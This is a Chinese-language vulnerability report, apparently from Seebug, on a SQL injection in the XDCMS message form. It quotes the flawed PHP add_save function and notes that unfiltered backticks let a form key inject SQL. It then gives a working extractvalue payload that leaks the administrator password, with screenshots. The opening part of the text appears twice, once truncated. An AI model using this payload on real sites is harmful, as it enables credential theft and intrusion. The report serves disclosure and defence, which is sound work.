### 简要描述: 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入 ### 详细说明: 注入在XDCMS企业管理系统的在线留言功能处,来看看\system\modules\form\lists.php文件: ``` public function add_save(){ $formid=safe_html($_GET['formid']); $form_arr=base::load_cache("cache_form","_form"); $form=get_array($form_arr,'id',$formid,0); $fields=$_POST['fields']; //获取留言的内容,这里没有过滤 $verifycode=$_POST['verifycode']; //验证码 //if($form['0']['is_code']==1 && $verifycode!=$_SESSION['code']){ //showmsg(C('verifycode_error'),'-1'); //} if(empty($fields['title'])||empty($formid)){ showmsg(C('material_not_complete'),'-1'); } $form=formtable($formid); if(empty($form)){ showmsg(C('error'),'-1'); } $table=$this->mysql->show_table(); //判断数据表是否存在 if(!in_array(DB_PRE.$form,$table)){ showmsg(C('table_not_exist'),'-1'); } //添加附加表 $sql_fields='`inputtime`'; $sql_value=datetime(); $send_text='留言内容: '; //问题就处在这,在处理留言内容时,过滤不严格可绕过,导致注入 foreach($fields as $key=>$value){ $sql_fields.=",`".safe_replace($key)."`"; if(is_array($value)){ $value_arr=''; foreach($value as...
### 简要描述: 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入 ### 详细说明: 注入在XDCMS企业管理系统的在线留言功能处,来看看\system\modules\form\lists.php文件: ``` public function add_save(){ $formid=safe_html($_GET['formid']); $form_arr=base::load_cache("cache_form","_form"); $form=get_array($form_arr,'id',$formid,0); $fields=$_POST['fields']; //获取留言的内容,这里没有过滤 $verifycode=$_POST['verifycode']; //验证码 //if($form['0']['is_code']==1 && $verifycode!=$_SESSION['code']){ //showmsg(C('verifycode_error'),'-1'); //} if(empty($fields['title'])||empty($formid)){ showmsg(C('material_not_complete'),'-1'); } $form=formtable($formid); if(empty($form)){ showmsg(C('error'),'-1'); } $table=$this->mysql->show_table(); //判断数据表是否存在 if(!in_array(DB_PRE.$form,$table)){ showmsg(C('table_not_exist'),'-1'); } //添加附加表 $sql_fields='`inputtime`'; $sql_value=datetime(); $send_text='留言内容: '; //问题就处在这,在处理留言内容时,过滤不严格可绕过,导致注入 foreach($fields as $key=>$value){ $sql_fields.=",`".safe_replace($key)."`"; if(is_array($value)){ $value_arr=''; foreach($value as $k=>$v){ $value_arr.=$v.','; } $value=$value_arr; } $sql_value.=",\"".safe_replace(safe_html($value))."\""; $send_text.=safe_replace(safe_html($value))." "; } $sql = "insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})"; //echo $sql."\n"; $this->mysql->query("insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})"); $rs=$this->mysql->get_one("select * from ".DB_PRE."form where id=".$formid); if($rs['is_email']==1){ sendmail('有人给您留言了!',$send_text); } showmsg(C('add_success'),'-1'); } } ``` 提交留言时会调用add_save,问题就出在这个add_save函数处: 提交的内容是键值对,对键值都进行了safe_replace和safe_html过滤,但是在过滤key时,由于key是用反引号`进行引起来的,但是在过滤函数safe_html进行过滤是,没有过滤此反引号`,导致在key那里可以进行insert注入。 ### 漏洞证明: 第一步进行在线留言: [<img src="https://images.seebug.org/upload/201312/02222254c2acf187c4713591433cea3755f94297.png" alt="ly4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/02222254c2acf187c4713591433cea3755f94297.png) 第二步,进行抓包,在key=content处加一个反引号`,发现报错了,说明存在注入 [<img src="https://images.seebug.org/upload/201312/02222307479a2c784fbb332c01aa0264efe18e40.png" alt="ly1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/02222307479a2c784fbb332c01aa0264efe18e40.png) 第三步,我们来进行sql语句构造,在key那里插入EXP如下: ``` `) values (1385992505,111111,111111,13111111111,111111,111111 and extractvalue(1, concat(0x5c,(select password from c_admin limit 1))));# ``` [<img src="https://images.seebug.org/upload/201312/022223164b447b3fbcc7a784170fcd22f8a6b948.png" alt="ly2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/022223164b447b3fbcc7a784170fcd22f8a6b948.png) 第四步,成功得到管理员密码: [<img src="https://images.seebug.org/upload/201312/022223270188b7dc2dea495acf04c7746a3dc88a.png" alt="ly3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/022223270188b7dc2dea495acf04c7746a3dc88a.png)